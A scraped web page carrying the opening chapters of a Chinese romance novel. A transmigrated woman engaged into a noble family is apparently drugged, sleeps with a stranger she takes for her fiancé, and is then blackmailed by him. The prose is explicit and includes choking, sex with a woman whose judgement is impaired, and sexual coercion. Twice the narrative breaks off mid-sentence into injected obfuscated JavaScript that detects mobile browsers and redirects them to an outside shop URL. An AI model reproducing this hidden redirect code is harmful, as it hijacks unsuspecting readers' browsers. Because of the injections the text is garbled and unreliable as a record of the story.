《仇敌之妻》 1. 雨夜 永元十七年,四月春。 绵绵细雨斜织成雾,渺渺春风吹面不寒。 时至正午,程府的婢女蕴娘步履轻快地穿过回廊,抬手揭起绣帘: “姑娘,该用饭了。” 不一会儿,只听珠帘轻响—— 其后走出一位年轻的美人,肌//骨莹润,眉目如画,身姿丰盈,玲珑有致。 蓝衫罗裙,难掩其下曼妙春/色。 她在桃木圆凳上缓缓落座,几缕青丝随着起伏动作悠然飘落,睫羽轻颤,虚遮那双含情似水的桃花眸。 蕴娘动作一顿,尽管朝夕相对已久,仍不免有所恍惚: 如此美人,生来便是惹人疼爱的。 寂然饭毕,蕴娘捧上清茶,在紫檀香炉中添了一把百合香,而后轻声开口: “二公子受了春寒,今儿又病倒了。” “姑娘可要去瞧瞧?” …… 原身本不是江南人氏,因家中遭难,成了可怜的孤女,承受不住突如其来的打击,悬梁自缢。 因此,薛宓娴穿越而来的时候,一睁眼面对的便是原身留下的一地鸡毛,生活举步维艰。 或许这世上有人可以逆天改命,但薛宓娴不是这样的人。 她只是个刚过完十九岁生日的普通女大,没有翻天覆地的本事,能勉强适应穿越后缺少先进科技辅助的生活,已然不易。 听闻江南程家的太夫人与已故的外祖母是金兰之交,她便一边处理琐碎杂事,一边寻机递信过去,盼能得贵人施以援手。 幸而程老夫人重情重义,不仅帮薛宓娴摆平了那些的烂摊子,还将她接至江南同住,待她视若己出。 程家老爷早年在京城做官,后来因病辞官,衣锦还乡。家中夫人已逝,膝下只有三子,大公子程荇、二公子程菩和年纪尚小的三姑娘程茹。 其中最有出息的,便是二公子程菩,曾得当今天子赏识,特召其与军机大臣共商国策。 只可惜,程菩先天体弱,虽有修身齐家平天下的抱负,却因病痛缠身,而无力周全,只能随家父归居江南。 按理,以程菩的家世和资历,婚事应不是什么难题。 可名门世家的姑娘对他的身体状况心有顾虑,不愿嫁。家世低微的娘子各方面差距悬殊,亦难有中意。 数月前,程家来了位落魄疯癫的方士,说程菩命有煞恶凶劫,惟有金玉良缘可解。 他离开后,程菩大病一场,身体每况愈下。家中数次为其议亲,皆以失败告终。 程老夫人是个迷信的,心急如焚,却又怕病急乱投医,坏了程菩的终身大事。 她思量许久,最终做主将薛宓娴许给程菩,等来年吉日就成婚。 定亲后,程菩的病竟渐渐好了,想来应是解了那句不详的谶言。 从始至终,薛宓娴未有任何反对。 首先,除了病体孱弱之外,程菩世家出身,相貌清俊,性情温善,才学过人,对她也颇为用心,实为难得一遇的良人。 再者,她一时半会儿也没办法穿回去。身无足以活命的家当,寄人篱下,总是要看人眼色度日的。程老夫人护得了她一时,护不了一世。 做程家的二夫人,拿到立身之本,是她目前最好的选择。 故而,这门亲事,她也乐见其成。 …… 步入院中回廊,蕴娘收起纸伞,快步跟上走在前面的薛宓娴。 忽然传来一道带笑的声音: “昨日本想着让人给薛妹妹送些点心,怎料小厨房的丫头婆子们行事逋慢,竟耽搁了。” 说话者是大公子程荇的夫人,名唤沈楹。她出身书香门第,如今在府上当家,深得程老夫人器重。 她笑着上前,牵起薛宓娴的手: “荇郎正与他弟弟议事呢,妹妹且先同我吃杯茶,一会儿再过去也不迟。” 薛宓娴颔首轻笑,随她进了厢房,挨坐在软榻上,接过婢女递来的花枣茶,慢悠悠地抿了一口。 闲聊中,她余光打量着沈楹的表情,只觉其似有心事。 提及老夫人今年的寿宴,沈楹放下茶盏,正欲开口,却见自己的贴身婢女霜娘走了进来: “夫人,大公子方才发了好一通脾气,已经先行离开了。” 沈楹怔了片刻,眉头微蹙,面上闪过一瞬间的不自在,却又很快恢复了先前的温婉端庄: “既如此,便晚些再来与妹妹说话。” 沈楹离开不久,蕴娘回到了薛宓娴身边。 只见她心有余悸般地长舒一口气,凑到薛宓娴的耳边,小声道: “姑娘,你是不知晓,方才大公子和二公子大吵一架,不欢而散。” “大公子摔门离开的时候,嘴里咒骂二公子病痛缠身,不得好死……” 程荇其人,品行样貌一概不如自己的弟弟,唯有嫉妒心远胜于人。 可他自己偏又是个不争气的。 传言沈家能答应把女儿嫁给他,还得多亏程菩出面周旋。 …… 屋内,程菩靠在软枕上,眉头紧皱,手捂着心口,咳声连连,显然是被那混账兄长给气得不轻。 婢女手中捧着刚煎好的药,匆匆走入,尚未开口,只听程菩惜字如金道: “出去。” 她面露为难之色,看向身侧的薛宓娴: “大夫说,这药要趁热喝才能起效。” 程菩闭上眼,微微仰起头,深吸一口气,没有迁怒无辜之人,只是冷声重复: “出去。” 话音刚落,瓷勺却递到了唇边。 苦涩的药汁入喉,程菩忍无可忍,本欲发作,睁开眼却见薛宓娴端着药碗,笑意盈盈地看他: “二哥哥何必跟自己置气?” 她挨着床沿,坐在程菩身侧,抬手轻轻抚平他皱起的眉。 积压的愠怒一扫而空,漆黑的眸中终于掀起了温柔的波澜。 二人的视线在碰撞的瞬间,紧紧纠缠在了一起,隐秘缠绵的情思在交错的目光中无声萌芽。 程菩接过汤药,一饮而尽。 他脸上泛起几分红晕,衬得气色都好了不少: “你怎么来了?” 说话间,他的眼神直勾勾落在薛宓娴身上,不舍得移开。 尽管程菩各方面皆出众,从小便是世家子弟中遭人艳羡的翘楚,但在心上人面前,他总是自惭形秽。 更何况,薛宓娴虽然与他亲近,但态度上并无特殊之处。因而,让他生出了患得患失的惶恐—— 仿佛自己只是借了“二哥哥”的名头,才能有幸得她片刻垂怜。 “听说二哥哥病了,我担心得紧。” 薛宓娴微微偏头,只见蕴娘等人从屋里出去,顺道还为他们带上了门: “如今可有感觉好些?” 唇齿间余韵苦涩,程菩习惯性地皱起眉,轻咳一声: “原是难受得厉害,可只要见了你,什么病都好了。” 薛宓娴点了点头,有心逗他,作势要走: “既然如此,我便不叨扰了。” 程菩连忙伸出手,拉住了她的衣袖,一时间礼数尊卑皆抛诸脑后: “这是有心躲我?” 薛宓娴垂眸一笑,顺势坐了回来: “岂敢?” 轻柔一语,程菩只感觉身心皆酥,指尖发麻,胸间血气翻涌,腰腹发紧。 他恨病体拖累,恨时日漫长,恨她现在还不是自己名正言顺的妻子。 “听你与老太太说起,近些日子睡不安稳,似是总有梦魇烦扰。” “所以,此去玄音观,特向道长求了一块开过光的平安玉,可放于枕下。” 薛宓娴接过那水滴形状的圆玉,触感温润细腻,便知是上品,价格想来也不菲。 她自己都不记得上回噩梦是什么时候了,或许只是某次闲聊中偶然提及,未曾想程菩竟记得如此清楚。 程菩涩然一笑,终究还是忍不住开口: “我向来不信那些方士的鬼话,婚事也听凭家中长辈做主。亲事虽定,但我只想问一句,你……是如何想的?” 一向文思敏捷、出口成章的程二公子,此刻却显得笨嘴拙舌: “我不会强人所难。因此,若是……若是你心中另有所属,也不必顾虑。” 薛宓娴将平安玉仔细收好,伸出手,轻轻抬起程菩的脸,端详着他的神色,歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抬手贴上自己的脸,一片烧热,额前冷汗涔涔,贴身衣物早已湿透。 身体难受得厉害,某种叫嚣着的欲.望如野火燎原,侵入五脏六腑,牵起骨髓深处止不住的痒意。 窗外春雷骤响,薛宓娴浑身一颤,掐着自己的胳膊,努力维持神智清醒,跌跌撞撞地翻身下床,颤抖着披上外衣。 想着蕴娘风寒初愈,薛宓娴免了她守夜。本来程家拨给她的婢女就寥寥无几,眼下身边竟找不出一位可以放心信赖的亲近之人。 神智越来越模糊,薛宓娴无意识地扯开自己的衣领,直接踉跄着步入雨幕中。 或许吹吹风,淋淋雨,就能熬过去。 就像那些苦难一样,她可以熬过去的。 …… 晶莹的水珠沿着锁骨一路下滑,轻薄的衣裙被疾雨打湿后紧贴在肌.肤上,姿容楚楚,玲珑窈窕。 薛宓娴跌跌撞撞地一路向前,身体颤栗,脚步虚浮,飘飘然不知身在何处。 恍惚中,她闯入一人伞下。 正面相撞,她不自觉地腿软,直接跪了下去,却又被勾着腰肢,轻轻松松地抱起来。 脑海中紧绷的弦骤然断裂,最后的理智被燃烧着的欲.火吞没。 她呜咽喘息,勾着他的颈,吻了上去。 技法生涩,渴求旺盛。 头顶的油纸伞在她献吻的瞬间轻晃了一下,而后逐渐偏斜,最终坠地。 又是一声惊雷,薛宓娴身体轻颤,缓缓抬眸。唇间的丝线在对视的瞬间断开,被他用指腹抹去,蹭在她耳后。 二人直白地对视着,鼻尖的距离也不过一寸,紊乱的气息纠缠不休,耳边只剩下愈发急促的心跳。 身上的外袍曳然滑落,薛宓娴分不清面前人的身份,只能遵循本能的判断。 眸光迷离,红润的唇瓣翕动: “二哥哥……” 男人的动作顿了一下,没有说话,似乎是坐实了她的判断。 依程菩的性子,他总会包容自己的狼狈。 薛宓娴牵起那双骨节分明却带有薄茧的手,缓缓贴上自己的胸口: “二哥哥,我好难受。” 身前盈润的弧度,随着呼吸汹涌起伏: “求你帮帮我……好不好?” 2. 恩人 天光既明,细雨渐停。 檐上残留的雨水滑过瓦楞,点滴敲在了青砖板石上。 已近巳时,蕴娘在屋外等了许久,隐隐觉出几分异样。 往常这个时候,薛宓娴都已经用过早饭,去给程老夫人请安了。 今日怎还未起身? 她轻手轻脚步入内室,只见薛宓娴仍裹在绫被中,侧身睡得很沉。 “姑娘,姑娘?” 眼见着叫不应,蕴娘登时有些心慌,以为她生病了: “姑娘可是身子不适么?” 薛宓娴翻了个身,把身上的被子裹得更紧了些,头埋在枕里,背对着她,含糊道: “二哥哥……他走了么?” 探了探额头的温度,蕴娘稍微松了口气,笑了笑,把自家姑娘的被子轻轻掀开一角,耐心哄道: “还未成亲,二公子怎会出现在姑娘闺房中?” “时候不早,姑娘该起了。” “大夫人那边说,有事儿想和姑娘一起拿主意呢。” 薛宓娴睁开眼,刚坐起身,又倒了回去。 她轻叹一声,揉了揉肩颈,只觉浑身酸软无力,连同指尖都传来隐隐的酥麻,比一宿未睡还累。 所以,昨夜……是春//梦么? 关于那些事,记忆是模糊的。 她隐约记得,自己是跪伏在榻上的。 男人在她的身后,单手控制住她的腕,迫使她仰起头,去和他接吻。 神魂颠倒之际,他的手缓缓搭上她的颈,一点一点剥夺喘息的余地,却又并不致命,只是无极限地放大了她身体的感知能力。 彼时,哪怕是轻微的触碰,都能激起更深处的战栗。 紧接着,他用力更甚,故意逼出她声声呜咽的软语求饶。 然而,求饶无用。 他惹出她的珠泪后又轻柔吮去,缠绵的吻一连串地落在她的身上。 冰冷而又带着薄茧的手寸寸抚摸着如凝脂般的雪肌,带着无尽的贪恋,握住那颤抖的玉踝…… 他是程菩吗? 她记不清了。 回忆里,男人面容模糊。 能记起来的,只有他施于她肌肤上的力度,他喉间压不住的低沉喘息,以及反复在她颈侧留下的温热。 在她的印象里,程菩为人光风霁月。 未曾想在自己的荒唐春/梦中,他在床//笫情//事间的行径,竟如此恶劣。 他似乎总把她拿捏在掌心。她的呼吸,她的喘息,她的迷离,尽数落在他的掌控之中。 梦中的体感,也会这样真实吗? 蕴娘扶她起身,瞧见那烧红的耳根,忍不住笑着打趣道: “诶呀呀,姑娘这是梦见什么了?” “怎么一起身就着急要见二公子呢?” “眼下尚未成亲,姑娘且要耐心等等。” 薛宓娴不答。 穿衣时,蕴娘无意瞥见小腿内侧隐约的红痕,微微蹙眉。 薛宓娴放空地看向不远处的香炉,没有注意到她一瞬间的神色异常。 …… 揣着满腹心事,早饭无甚胃口,薛宓娴简单搭了几筷子小菜,走个过场,草草了事。 前去沈楹居处的路上,她被程老夫人身边的婢女莳莺拦了下来: “巧了,老太太正让我去请薛姑娘来呢,今儿可是有贵客。” 薛宓娴蹙起眉头,下意识地想到了昨天程菩所提的“贵人”。 她本想仔细打探贵客究竟是何人,可莳莺嘴严得很,半点不肯透露,只是笑嘻嘻地说“姑娘去过就知晓了”。 无法,她只能跟上。 走出连廊,拐入月门,再行过院中繁复华贵的山石盆景,最后踏至中间厢房。 程老夫人笑容和蔼,拉着薛宓娴的手,让她挨着自己坐: “娴娘脸色不好,可是有何处不适?” 察觉到薛宓娴的手有些凉,她当即转向蕴娘,已有几分责怪之意: “你这粗心丫头,平日里便是这般伺候姑娘的?” 不过一句简单的问话,蕴娘却是立刻“扑通”跪下,垂头弓身不敢言语。 睫羽轻颤,薛宓娴的心跟着揪了起来。 寄人篱下的这些日子里,蕴娘待她的好,她都在心里记着。程老夫人也是对她体贴爱护,所以一时急切,才会责怪蕴娘。 于是,她转向程老夫人,笑着软语道: “老太太,一路走过来,难免会吹了风,手自然是要冷些的。今儿也是我赖床,多亏了蕴娘周到,来叫我起身,不然又不知要睡到何时去。” “老太太向来是最明事理的,本就不关蕴娘的事,若是责她,那可真是冤枉了。若是认真计较起来,问安来迟,该怪罪的是我才对,该罚该罚。” “便罚我午后与老太太推牌九,可好?” 薛宓娴哼唧几声,抱着程老夫人的胳膊轻晃。她撒娇讨软的本事一流,从未吃过败仗。 老人家着实被哄得开心,便没有再提责罚蕴娘的事。 这是个好机会,薛宓娴一边哄着,一边微微偏头,朝着端坐在侧的沈楹眨了眨眼睛。 沈楹立即会意,对蕴娘道: “你先起来吧,这儿暂且不用伺候,去外头等着。” 蕴娘悬着的心重重落下,连忙退了出去。 与程老夫人说笑了一会儿话,莳莺便打起帘栊进来,身后还跟着两人: “老太太,二公子带着江小公子过来了。” 程菩一进门,立刻行礼问安,笑着说道: “原来诸位都在祖母这里,倒是省得再跑一趟。” 他身披一件厚重的氅衣,面色苍白,难掩病气,说完话便止不住咳,略微有些气喘,好在精神看起来尚还不错。 “都是自家人,不必讲究。” 程老夫人一抬手,笑着说道: “江家的小公子,好久不见。且走近些,让我好好瞧瞧。” 关于江家,薛宓娴大概记得,蕴娘似乎曾经提过只言片语。 江家常居闽南,祖上与程家沾亲带故,勉强能算得上是出五服的表亲,来往甚少。 程家已是钟鸣鼎食的贵族,几乎无人在意这个八百里外的穷亲戚。倒是江家,近些年攀着这层关系,屡次遣人上门求财。 程家不想纠缠,因而每次都是给些银子打发了事,对此等行径,不满已久。 但是,几天前发生了一件大事。 程菩自玄音观返程的路上,遇了劫匪。 随行护卫中了调虎离山之计,身边只有一两个亲信,难以敌众。幸得好心人碰巧路过,舍命相救,还为此负了伤。 事后才知,此人竟是江家的小公子,江昀。自闽南远道而来,欲北上京城。 依着程菩的安排,他借宿府上,在别院养伤。 现如今,人尽皆知。 江昀成了程家的大恩人,是万万怠慢不得的。 …… 此事程菩瞒得甚紧,莫说是薛宓娴,就连程老夫人,也是今日才弄清其中来龙去脉。 薛宓娴坐在程老夫人身边,借着手中茶盏的遮掩,仔细打量着江昀。 他面容清俊,剑眉星目,身量高挑挺拔,颇有玉树临风之姿。举手投足之间,流露出浑然天成的矜贵气质。 薛宓娴摸着良心,若是单论相貌,这位江昀,远在程菩之上。 可他敛眸轻笑的模样,总有一种淡漠凉薄之感,显得整个人不好亲近。周身散发着莫名的阴冷气息,并不似程菩那般温和。 “承蒙老太太这些年来关照,家中一切都好。” 江昀的声音颇具磁性,如翡翠圆珠滚过玉盘,又如郊野清风吹拂过耳,十分好听,让人全身的肌骨自然舒展开来: “此番前往江南,家母特地叮嘱晚辈,莫要忘了来向您问安。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956644|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛宓娴心弦颤动,掌心微麻,有些不自在地移开视线,耳垂微微泛红。 程老夫人心里所想的,却与薛宓娴截然不同。 江家年年来讨银子,派来的那些人,无不谄媚讨好,见钱眼开,唯利是图,尽是一副上不得台面的小人做派。 而眼前这位江小公子,虽对程府有大恩,但并不倨傲,态度不卑不亢,一言一行的礼数皆是周全。 生在江家那样的环境里,江昀能如此出淤泥而不染,长成气度矜贵的翩翩君子,着实难得。 思及此处,她面上的笑容越发和蔼: “多伶俐的孩子,怪叫人疼爱的。” “身上的伤可还要紧?” 江昀轻笑一声: “小伤而已,多谢老太太挂心。” 不知为何,薛宓娴总感觉,他似乎在往自己的身上看。朦胧缥缈的视线将她牢牢笼罩,从心底生出一种永远躲不开的压迫感。 程老夫人又开口道: “你应是比菩儿年长的,对不对?” 沈楹因这些年管家,对江家有些了解,便轻声提醒道: “老太太记错了。便不说二弟,江公子比薛妹妹还小一岁呢。” 程老夫人“哦”了一声,皱起眉头,仔细想了想,笑着说道: “还是楹儿记性好,看来我岁数大了,是时候该服老了。” 程老夫人将沈楹指与江昀,介绍道: “这位是你程大哥的夫人沈氏,该唤大嫂子。” 她轻轻地拍了拍薛宓娴的手,脸上依旧挂着笑: “这位,是你程二哥未过门的夫人,暂时叫不得嫂嫂。” 她略微一顿,接道: “她虽是外姓,可我只当作自家孙女疼爱。既如此,你且唤她表姐就是了。” 沈楹笑着开口: “薛姑娘平日里最得老太太欢心,老太太待她,比待府上的三妹还好呢。” 江昀垂眸轻笑,再度看向薛宓娴的时候,眼神中带上了一点强势的暧昧之意。 不过是短短一瞬,转而又消失不见。 “见过大嫂。” 他俯身行礼,至少看上去并不逾矩: “见过、薛姐姐。” 薛宓娴轻轻抿唇,感觉掌心微微发麻,连带着骨子里都被这一声“姐姐”勾起莫名的痒意,让她下意识地生出想要逃离的错觉。 奇怪,她分明是第一次见江昀。 此人怎会有种异样的熟悉之感,好像在哪里见过似的。 …… 说了一会儿闲话,下人通传,说是来给程菩诊脉的大夫到了,在他的院子里候着。 程菩的身子,是程老夫人一向最为看重的,比什么都重要,当即催着他回去见大夫。 程菩离开后,程老夫人虽说笑依旧,但面上难掩倦意。 薛宓娴多有担心,率先出言相劝,与沈楹一起,将程老夫人扶至内室休息。 可程老夫人只留下了沈楹一人: “娴娘,你赶紧回去歇着。瞧那脸色,若是病了可如何使得?” “回头让小厨房给你煮碗安神汤,今日不必见客了。” 薛宓娴不舍得走,又与程老夫人说笑两句,才行礼告退。 走出内室,她停下脚步,抬头看向面前的江昀。 方寸之间的天地,只有他们二人。周遭静谧无声,似乎能听到彼此交错的呼吸。 江昀看着她,片刻后轻轻挑眉,似笑非笑,缓缓开口: “可否借一步说话?” 薛宓娴对他有着天然抵触,说不出原因,只是实在不愿多留: “我……有事在身,失陪。” 错身而过的瞬间,她听见江昀轻声道: “姐姐何必如此生疏?” 手腕被他紧紧握住,力气不大,却无法挣脱: “昨夜,我们分明是见过的。” 3. 疯子 薛宓娴呆站在原地,好一会儿才回过神来,明白了他在说什么。 只是她面上不肯露怯,笑意温柔,堪称滴水不漏,只是轻轻摇头: “这是何意?我听不明白。” 江昀偏过头,嗤笑一声,从怀中取出一物: “既然如此,此衣想来应是无主之物,我这就送去给老夫人处置。” 薛宓娴神色微怔,认出他手中所握的,正是自己昨夜所穿的小衣。 彻夜云雨,那件小衣的系带都被扯断了,满是褶皱,看上去和一文不值的破布并无差别—— 可它足以让她身败名裂。 骨节分明的修长手指,紧攥着她曾经贴身穿着的私/密衣物。指腹似是漫不经心地从那布料纹路上摩挲抚过,搅起满池涟漪。 身体忍不住轻颤了一下,她下意识地回避视线,说话的声音越来越轻: “你我初次相见,还请公子自重。” 江昀微微歪头,直言拆穿: “自重?” “薛姐姐昨夜衣衫尽褪,哭着向我求/欢的时候,可还记得‘自重’二字,该如何写么?” 他的语气寻常,波澜不惊,可薛宓娴却从中听出了一种刺人的意味,仿佛是在有心暗示着什么。 被那般目光注视着,薛宓娴几乎毫无招架之力。昨夜的风流余韵涌上心头,让她不自觉地有些腿软。 脸色苍白一片,她再也端不住体面的伪装,只想匆匆逃离。 可江昀紧握她的手腕,将她定在原地,动弹不得。 屋外有脚步声逐渐接近。 薛宓娴心下方寸大乱,用了些力气,想要把他甩开,不料他仍旧紧紧捏着自己的手,没有丝毫松动。 莳莺的声音,近在咫尺: “这些盒子里的东西,都是孝敬给老太太的?” 一门之隔,小厮回话的声音也听得很清晰: “是了,姚大人刚遣人送来。” “这补品受不得热,须赶快送进库房冰镇。但要进库房,少不得请示老太太和大夫人的意思。特殊之事,还要劳烦莳莺姐姐帮忙通传一二。” “老太太正歇着呢,大夫人也在里面伺候。若是扰了清静,招来责罚,我可不担这个冤枉。” 莳莺原本是不肯的,但不知小厮又说了什么,只听她轻哼一声,开口道: “好吧好吧。” “你们可得千万记着今日的人情啊。” 小厮笑着奉承: “好姐姐,我们岂是那样忘恩负义的人?” “以后有其它好处,保准不会忘了莳莺姐姐的。” 薛宓娴心下一跳,匆忙想把他甩开: “她们要进来了,你快点松开。” 江昀微微偏头,轻笑一声,无动于衷。 眼看莳莺就要进来,想着他或许是个吃软不吃硬的人,薛宓娴只能先暂且服软试试。 她楚楚可怜地看着江昀,轻声道: “求你了,先松开我吧。” 可惜,江昀软硬不吃,还是不听她的。 他收起那件小衣,借机将她往自己身边揽。 手扶上那柔软的腰,隔着衣料,掌心轻轻压上她的脊骨,寸寸揉按。暧昧之意,昭然若揭。 门被推开的瞬间,屋外日光倾斜而落。 江昀反应极快,带着她及时侧身,隐匿于放满名贵瓷器的桃木博古架后。 莳莺脚步匆匆,并未发现异常。 只是她所站之处,与博古架相隔很近,与沈楹问答之声,近在咫尺。 薛宓娴整个人都是烧着的,下意识地埋在江昀怀中,挡住了脸,本能地觉着自己此时的模样是见不得光的。 渐渐地,她才从兵荒马乱的现实中回过味来。 昨夜的事,不是梦,是真的。 与她欢好之人,不是程菩。 而是面前这位“大恩人”,江昀。 对了,她早该想明白的—— 首先,那男子宽肩窄腰,身上的肌肉虽不夸张,但手感格外紧实有力,积蓄着不容小觑的蓬勃力量,想来应是习过武艺。 再不济,也是经常锻炼身体的。 其次,从那持久的耐力和过人的爆发力来看,也断然不像体弱多病之人该有的模样。 自己昨夜怎会将他误认为程菩? 这到底是怎么一回事…… 究竟是中了何人的圈套? 江昀的身上有一股清浅的沉木香,凑得太近,气息比昨晚更为浓烈。 胸腔内声声心跳,就在她的耳畔。 被他的气息笼罩着,薛宓娴脑子乱,心也跟着乱,什么都想不明白。 直到江昀避开众人的注意,带着她从偏门离开屋子,她依旧没有回过神来。 …… 回廊荫下,江昀的手还放在薛宓娴的腰间,迟迟没有收回。 修长的手指轻轻勾起腰上的绦带,似乎只要略微施力,她的衣裙便会像昨夜那样,被轻而易举地悉数剥落。 此处距离程菩所居的小院不远,江昀收回手,淡淡地扫了她一眼,漠然道: “为何这般神色?” “若非昨夜我替你周全,今日程老夫人还会将你当作亲孙女疼爱么?” “又或者,此事让程二哥知晓,他该会如何作想?” 江昀微微俯身,凑近了些,捏着她的下颌,不让她有任何躲闪的可能,迫使她看着自己,唇边噙着一抹玩味的笑意: “好姐姐。” “回答我啊。” 薛宓娴眸中水光盈盈,她不想哭的,也明白此时不宜示弱。 可是在这般差距悬殊的情形下,眼泪就是止不住地要落下来。 她知晓江昀若是当真有意要她难堪,大可将昨夜情/事直接公之于众。他手握物证,又是程家的大恩人,没有人会怀疑他。 他肯私下找自己谈,就说明还有回旋的余地。 可江昀这般做派,完全是逼迫威胁之意,让薛宓娴莫名不想配合。 昨夜之事,若他也无心,直接把自己推开,不是更好么? 男.欢.女.爱,分明是你情我愿的事。为何他如今反倒做出一副吃了亏的模样? 按理来说,面对更大压力的,是她才对。 袖中的手紧紧攥着,薛宓娴深知二人体型力气均差距悬殊,她很难反抗。 唇上的胭脂被江昀用指腹蹭开,修长的手指不由分说地顶开她的齿关,勾弄着落在她湿润的舌尖。 薛宓娴一时恼怒,咬了他的手指,留下一圈湿红的齿痕。 她素来温柔惯了,即便是被惹急了,放出的狠话也并不见凌厉: “东窗事发,你也清白不保。” 江昀笑了,可那笑意不及眼底,眸中对她似乎藏着更深的情绪,远远不止玩味。 他不疾不徐地开口,丝毫不受她那穷途末路的威胁: “我的清白有什么要紧?” “就算是传出去,也不过是被人背后议论几句奸/夫罢了。” 他微微俯身,视线下垂,轻声道: “你呢?” “程家会如何待一位不忠之妇?” 薛宓娴咬着唇,眼泪不受控制地落得更急。 是啊,她怎么能忘了。 古往今来,清誉与贞洁,都是戴在女人身上的枷锁。江昀作为男人,他自然可以将其视作无物,也不会因此受到什么责罚。 这威胁不到他。 美人眉头轻蹙,眼尾泛红,珠泪滴垂。 那双灵动的桃花水眸中,满盈着害怕与羞耻。嫣红柔软的唇微微颤动,分明抵触至极,却依旧不得不低头向他服软。 她整个人仿佛都是水做的,让人很想在她身上做点什么疯狂的事,为此不顾一切,在所不惜。 江昀很喜欢她这可怜可爱的模样,媚骨天成。难以言说的爽感在身上肆意蔓延,燥意在喉间翻涌,相较昨夜风流,有过之而无不及。 他忽然起了个恶劣的坏心思,眯起眼睛,呼吸难以自抑地变得有些急促: “不如,我帮姐姐试探一下。” “程菩若是知道,他那未过门的心上人,昨夜伏在我榻/上,软语求 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可江昀看上去似乎并不这么想,他摸了摸薛宓娴的脸,又是一声淡淡的笑: “不试怎知?” …… 这种事要怎么试? 疯子。 混账。 金玉其外,败絮其中。 薛宓娴不想陪他干这种疯事,也不想试探程菩会如何作想。 跟着走到了程菩卧房门口,江昀手一松,她转头就想临阵脱逃。 可惜,江昀仿佛是预判了她的想法,看也不看地把她捞回来,顺手捏了捏那纤腰上的软肉。 指尖触感极佳,是她身上最适合揉捏的地方之一。 “姐姐若是走了,我进去做出什么事,说出什么话,拿出什么东西,可不敢保证。” 鼻尖轻轻蹭了蹭薛宓娴的耳垂,他刻意压低说话的音量,声线暗哑,莫名有几分禁忌隐秘之感: “但姐姐若是老老实实,听我的话。我或许可以考虑,暂时不要让你那么难堪。” “你想要我如何,自己选。” 薛宓娴是一句话都说不出了。 她站在屏风后,闻着屋内那苦涩的药味,心里更加难受。 不远处传来程菩的咳嗽声,薛宓娴想探头张望,可这屏风面积不大,加之衣物略微遮挡,才能让她隐匿其中。 若是动作幅度稍微大了些,恐怕下一秒就会暴露人前。 怎么看,这也肯定是江昀的心计之一。 江昀站在程菩面前,余光瞥了一眼屏风处。 美人倩影轻晃,他唇角轻勾,目光转向程菩: “程二哥的病,可要紧么?” 程菩想要摆摆手,说自己没事。 可是大夫施的针还没有撤,他此刻恍若一只脆弱的刺猬,只能苦涩一笑: “都是旧疾,老太太心里着急,所以才表现得明显。” 江昀负手而立,对身侧的医童道: “我与程二哥有话要说,都出去吧。” 程菩看着他,莫名感觉这幅样子,比世家大族的公子哥还要矜贵,像是皇城天子脚下出来的姿色。 可江家远居闽南,小公子也未曾去过京城。 或许是他最近见过什么人,有样学样罢了。 江昀看着程菩,开口道: “实不相瞒,我将程二哥当作自己人。所以,有件大事实在拿不准注意,要请你帮我斟酌一二。” “不知可有打扰?” 程菩愣了一下,但开始温声开口: “你直说便是。” 薛宓娴攥着自己的袖子,心都快要从嗓子里跳出来了。 她很想原地消失,或者随便怎么样都好,总之就是不要待在这个地方。 这简直比她当年查高考成绩还要折磨人。 江昀缓声道: “此事颇有些牵连,我便长话短说。” 4. 献吻 “我在邻里有位交好的义兄。他曾中意过一位娘子。” “那娘子生得美貌,得不少人欢心。他想娶那娘子过门,婚事说定了,两家人彼此也都欢喜。” “可那娘子竟然背着他,与旁人偷尝云雨之欢。” 江昀一边说着,一边紧盯着程菩的神色: “此事义兄并不知晓,只我那回有事经过,无意间撞见了。那娘子求着我,千万莫要告诉兄长,不然,这桩婚事定然是成不了的。” “事发后,我便离家北上,因而并未来得及告知。几天前,我收到了兄长的书信,言语提及那娘子近些天待他格外好,还盼望着能早日成婚。” “我正准备写信回他,可唯独此事上依旧拿捏不定,不敢告与旁人,只能求程二哥帮忙决断。” 以程菩往日里的聪慧机警,这等含沙射影的伎俩,是想指桑骂槐地表达什么意思,他该一清二楚的。 但此事涉及他的未婚妻,便又是另当别论。 他爱惜薛宓娴,同样也无条件地信任她,因而便有意识地不往自己身上联想。 屏风后,薛宓娴的头脑已是一片空白。 这是试探吗? 这分明是挑衅吧。 她咬了咬牙,恨不能把江昀那个不要脸的疯子从屋里扔出去。 可在程菩面前,江昀面色恳切,当真不似作假。 程菩思量片刻,回答道: “世人有言,解铃环需系铃人。到底是这娘子与你义兄之间的事,你只管一五一十地交代出去,日后如何相处,都是他们自己的缘分。” “你只是做了自己该做的,无愧于心,自然怨不得你。” 江昀笑了一下,低声应是,随后又开口道: “说起来,我那义兄,性格温和,稳重老实。我怕他追究太深,伤心伤情,这也是我所忧虑的。” “可我不曾有婚约,也未有心动之人。” “说句不恭敬的冒犯浑话,若是易地而处,程二哥该当如何?” 程菩怔了一下,眉头微皱。 江昀所说之事,若是换到他自己身上…… 啧,他可不会是那样的人。 哪怕薛宓娴当真心动旁人,只要她肯留在他身边,只要她肯嫁与自己,那么,他便是她名正言顺的夫君。 至于旁的那些个男人,不过是上不得台面的情郎罢了。 可这话,不能当着江昀的面说。 毕竟,在世人眼里,不忠不贞、背俗忘德乃无可饶恕之大过,对女人尤甚。 而堂堂一个男人,若是连枕边人不忠都能隐忍下去,必会沦为话柄,遭人耻笑。 换作是旁人,此等关乎男子尊严荣辱之大事,程菩必然不会有丝毫退让。 可若是薛宓娴,他好像还可以再忍一忍。 程菩抬眸,对上江昀的视线,喉结上下滚动,沉默了一下。 他不想被人耻笑,也不想在江家小公子跟前露出低人一等的模样,说到底仍是爱惜自己的面子。 于是,他开口道: “必然是忍无可忍,直接断了亲事。” 江昀追问: “若是已经成婚了呢?” 程菩毫不犹豫: “那便只能休妻。不忠之人,是肯定留不得的。” 